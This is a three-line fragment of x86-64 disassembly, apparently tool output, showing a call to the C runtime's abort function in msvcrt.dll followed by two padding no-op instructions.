call sub.msvcrt.dll_abort
nop
nop dword [rax]